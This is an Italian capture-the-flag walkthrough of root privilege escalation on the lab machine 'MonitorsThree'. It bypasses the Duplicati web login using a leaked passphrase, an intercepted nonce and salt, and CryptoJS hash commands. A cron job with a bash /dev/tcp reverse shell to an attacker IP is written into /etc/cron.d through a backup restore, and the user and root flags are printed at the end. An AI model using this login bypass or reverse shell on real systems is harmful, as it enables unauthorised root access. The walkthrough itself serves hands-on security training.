sqlite> SELECT * FROM Option;
4||encryption-module|
4||compression-module|zip
4||dblock-size|50mb
4 |--no-encryption|true
-1 |---asynchronous-upload-limit|50
-1 |--asynchronous-concurrent-upload-limit|50
-2||startup-delay|0s
-2||max-download-speed|
-2 || max-upload-speed |
2 | thread-priority|
  ||last-webserver-port|8200
 2||is-first-run|
```

```
-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho
  ||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|4d928c45-c669-4963-8383-42dfa805dc88
-2||server-passphrase-trayicon-hash|CxFLj77ewtgd4ukeih25jCRjwMaJZK6eDpEb1RxeUX8=
-2||last-update-check|638756116815887110
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|False
-2||unacked-warning|False
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*
```

serverpassphrase= Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=

Ora sempre seguendo il POC devo prima fare una richiesta di logging fittizio, e intercettare la request con burpsuite e poi

pulsante destro e 'do intercept' 'response to this request'

Cosi facendo ricevo nella resposne 'nonce & salt'

```
Pretty
          Raw
                  Hex
                         Render
 1 HTTP/1.1 200 OK
   Cache-Control: no-cache, no-store, must-revalidate, max-age=0
 3 Date: Thu, 20 Feb 2025 06:03:27 GMT
 4 Content-Length: 140
  Content-Type: application/json
 5
 6 Server: Tiny WebServer
 7 Keep-Alive: timeout=20, max=400
 g Connection: Keep-Alive
   Set-Cookie: session-nonce=
   wnKz%2Fx4TFWZ%2FGyhrVaCcJztaejYVSC8aveLKnCTMf80%3D; expires=Thu, 20
   Feb 2025 06:13:27 GMT;path=/;
10
   {
11
     "Status":"0K",
12
     "Nonce":"wnKz/x4TFWZ/GyhrVaCcJztaejYVSC8aveLKnCTMf80=",
13
     "Salt": "xTfykWVldATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
14
   }
15
```

"Nonce": "wnKz/x4TFWZ/GyhrVaCcJztaejYVSC8aveLKnCTMf80=" "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="

Ora devo convertire la passphrase ottenuta sopra della tabella option a base64 e poi a hexadecimal

hex = 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

Ora quello che devo fare sempre seguendo il POC e andare sul browser aprire devtools con f12 e andare su console , dove devo

permetere il pasting con 'allow pasting' e poi copiare qui i 3 ocmandi:

```
var saltedpwd =
'59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var noncedpwd =
CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('trlD3wxmjkrdhx+
emBBPJ3IOnz/IoubE0iE4nRoilKc=') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
```

Importante mettere nel secondo comando il valore di 'nonce' ricavato sopra dal forward in burpsuite "Nonce": "wnKz/x4TFWZ/GyhrVaCcJztaejYVSC8aveLKnCTMf80="

Mentre nel primo cmd inserire il valore hexadecimale ricavata sopra hex = 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a


una volta copiati e runnati mi viene restiutita una password in base64

passwd_base64= i2iZpk7ZcXoUJattQ+bffSil4UUftee8jFrNUVWvNSc=

Ora faccio nuovamente click su forward request e mi apre una pagina con la password com e imput al fondo, e qui inserisco la

password ricavata dai 3 comandi precedenti , do un altra volta il click su forward e mi connette alla pagina di dashboard del server

ovviamente sopo aver tolto l'intercept di burpsuite per permettere il caricamento corretto della pag. sul browser





Last successful backup: Today at 2:27 AM (took 00:00:11) Run now

Next scheduled run: Today at 12:00 PM


Source: 60.15 MB

Backup: 19.23 MB / 3 Versions


Quindi laprima cosa che faccio è creare il file 'rce1' nella home di marcus come file di cronjob con **** per indicare che deve essere runnato ogni minuto

```
marcus@monitorsthree:~$ cd /home
marcus@monitorsthree:/home$ ls
marcus
marcus@monitorsthree:/home$ cd marcus
marcus@monitorsthree:~$ ls
rce user.txt
marcus@monitorsthree:~$ cat rce
* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.39/4422 0>&1"
```

Poi vado su 'add new backup' e nella prima sezione gli do il nome 'rce1' e path 'source'




Nella sezione 2 aggingo manualmente il path in '/source/home'




nella penultima sezione tolgo la spunta da runna automaticamente il backup, e nell ultima non inserisco ulteriori opzioni e salvo

il backup, poi torno nella home e dopo un refresh della pogina mi compare il mio backup maligno creato e da qui clicco su 'run it'


We can now proceed to restore the backup by first selecting the backup we created.



Poi vado nella sezione 'Restore' e nel primo riquadro vado a selezionare il cron file creato 'rce1'



Nella sezione successiva vado ad aggiungere manualmente il path '/source/etc/cron.d'



Poi andando avanti mi da un messaggio di conferma 'successful' e a questo punto apro nc sulla porta impostata 4422 e attendo

circa un minuto finche il cronjob con la shell viene automaticamente runnato ew mi spawna la rev-shell da root

```
listening on [any] 4422 ...
connect to [10.10.14.39] from (UNKNOWN) [10.10.11.30]
57458
bash: cannot set terminal process group (10267): Inap
propriate ioctl for device
bash: no job control in this shell
root@monitorsthree:~# cd /root
```

Da qui recupero la root.txt nella /root directory

```
root@monitorsthree:~# cd /root
cd /root
root@monitorsthree:~# cat roo.txt
cat roo.txt
cat: roo.txt: No such file or directory
root@monitorsthree:~# cat root.txt
cat root.txt
93a0404a6a2493a24b5978257c4487bd
root@monitorsthree:~# ■
```

Flags

user.txt= 45d816ad671137f6312a295044480194

root.txt= 93a0404a6a2493a24b5978257c4487bd